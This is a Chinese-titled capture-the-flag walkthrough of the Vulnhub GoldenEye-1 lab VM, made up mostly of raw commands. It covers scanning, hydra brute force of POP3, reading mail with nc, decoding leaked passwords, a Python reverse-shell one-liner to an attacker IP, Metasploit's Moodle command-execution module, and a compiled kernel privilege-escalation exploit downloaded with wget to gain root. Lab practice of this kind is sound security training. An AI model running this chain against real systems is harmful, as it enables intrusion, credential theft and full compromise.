靶场实战 | Vulnhub GlodenEye-1 使用msf

https://www.vulnhub.com/entry/goldeneye-1,240/

nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_GlodenEye-1

gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt

var data = [  {    GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"  }];////Boris, make sure you update your default password. //My sources say MI6 maybe planning to infiltrate. //Be on the lookout for any suspicious network traffic....////I encoded you p@ssword below...////&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;////BTW Natalya says she can break your codes//var allElements = document.getElementsByClassName("typeing");for (var j = 0; j < allElements.length; j++) {  var currentElementId = allElements[j].id;  var currentElementIdContent = data[0][currentElementId];  var element = document.getElementById(currentElementId);  var devTypeText = currentElementIdContent;   var i = 0, isTag, text;  (function type() {    text = devTypeText.slice(0, ++i);    if (text === devTypeText) return;    element.innerHTML = text + `<span class='blinker'>&#32;</span>`;    var char = text.slice(-1);    if (char === "<") isTag = true;    if (char === ">") isTag = false;    if (isTag) return type();    setTimeout(type, 60);  })();}

InvincibleHack3r#解码后InvincibleHack3r

hydra 192.168.0.103 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt -v

natalya/birdboris/secret1!

nc 192.168.0.103 55007nc > user natalyanc > pass birdnc > listnc > retr 1nc > retr 2nc > retr ...nc > quit

## 第一封Return-Path: <root@ubuntu>X-Original-To: natalyaDelivered-To: natalya@ubuntuReceived: from ok (localhost [127.0.0.1])        by ubuntu (Postfix) with ESMTP id D5EDA454B1        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)Message-Id: <20180425024542.D5EDA454B1@ubuntu>Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)From: root@ubuntuNatalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.## 第二封Return-Path: <root@ubuntu>X-Original-To: natalyaDelivered-To: natalya@ubuntuReceived: from root (localhost [127.0.0.1])        by ubuntu (Postfix) with SMTP id 17C96454B1        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)Message-Id: <20180425031956.17C96454B1@ubuntu>Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)From: root@ubuntusearchsploitOk Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)Ok, user creds are:username: xeniapassword: RCP90rulez!Boris verified her as a valid contractor so just create the account ok?And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir**Make sure to edit your host file since you usually work remote off-network....Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

nc 192.168.0.103 55007nc > user borisnc > pass secret1!nc > listnc > retr 1nc > retr 2nc > retr ...nc > quit

## 第一封Return-Path: <[email protected]>X-Original-To: borisDelivered-To: boris@ubuntuReceived: from ok (localhost [127.0.0.1])        by ubuntu (Postfix) with SMTP id D9E47454B1        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)Message-Id: <20180425022326.D9E47454B1@ubuntu>Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)From: [email protected], this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.## 第二封Return-Path: <natalya@ubuntu>X-Original-To: borisDelivered-To: boris@ubuntuReceived: from ok (localhost [127.0.0.1])        by ubuntu (Postfix) with ESMTP id C3F2B454B1        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)Message-Id: <20180425024249.C3F2B454B1@ubuntu>Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)From: natalya@ubuntuBoris, I can break your codes!## 第三封Return-Path: <[email protected]>X-Original-To: borisDelivered-To: boris@ubuntuReceived: from janus (localhost [127.0.0.1])        by ubuntu (Postfix) with ESMTP id 4B9F4454B1        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)Message-Id: <20180425025235.4B9F4454B1@ubuntu>Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)From: [email protected],Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....PS - Keep security tight or we will be compromised.

192.168.0.103 severnaya-station.com

09:24 PM: Greetings Xenia,As a new Contractor to our GoldenEye training I welcome you. Once your account has been complete, more courses will appear on your dashboard. If you have any questions message me via email, not here.My email username is...doakThank you,Cheers,09:24 PM: Greetings Xenia,As a new Contractor to our GoldenEye training I welcome you. Once your account has been complete, more courses will appear on your dashboard. If you have any questions message me via email, not here.My email username is...doakThank you,Cheers,Dr. Doak "The Doctor"Training Scientist - Sr Level Training Operating SupervisorGoldenEye Operations Center SectorLevel 14 - NO2 - id:998623-1334Campus 4, Building 57, Floor -8, Sector 6, cube 1,007Phone 555-193-826Cell 555-836-0944Office 555-846-9811Personal 555-826-9923Email: doak@Please Recycle before you print, Stay Green aka save the company money!"There's such a thing as Good Grief. Just ask Charlie Brown" - someguy"You miss 100% of the shots you don't shoot at" - Wayne G.THIS IS A SECURE MESSAGE DO NOT SEND IT UNLESSDr. Doak "The Doctor"Training Scientist - Sr Level Training Operating SupervisorGoldenEye Operations Center SectorLevel 14 - NO2 - id:998623-1334Campus 4, Building 57, Floor -8, Sector 6, cube 1,007Phone 555-193-826Cell 555-836-0944Office 555-846-9811Personal 555-826-9923Email: doak@Please Recycle before you print, Stay Green aka save the company money!"There's such a thing as Good Grief. Just ask Charlie Brown" - someguy"You miss 100% of the shots you don't shoot at" - Wayne G.THIS IS A SECURE MESSAGE DO NOT SEND IT UNLESS

hydra 192.168.0.103 -s 55007 pop3 -l doak -P /usr/share/wordlists/fasttrack.txt -v

nc 192.168.0.103 55007nc > user doaknc > pass goatnc > listnc > retr 1nc > quit

007,I was able to capture this apps adm1n cr3ds through clear txt. Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. Something juicy is located here: /dir007key/for-007.jpgAlso as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

strings for-007.jpgexiftool for-007.jpg

echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d## 解码后 xWinter1995x!

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.20.10.4",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc -nvlp 8888

python -c 'import pty;pty.spawn("/bin/bash")'

msfconsolemsf > use exploit/multi/http/moodle_cmd_execmsf exploit(moodle_cmd_exec) > show optionsmsf exploit(moodle_cmd_exec) > set password xWinter1995x!msf exploit(moodle_cmd_exec) > set rhosts severnaya-station.commsf exploit(moodle_cmd_exec) > set targeturi /gnocertdirmsf exploit(moodle_cmd_exec) > run

uname -a

searchsploit ubuntu 3.13.0

cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

gcc 37292.c -o exp

python -m SimpleHTTPServer 80

wget http://172.20.10.4/expchmod 777 exp

./exp

cc 37292.c -o ex

cd /rootls -lacat .flag.txt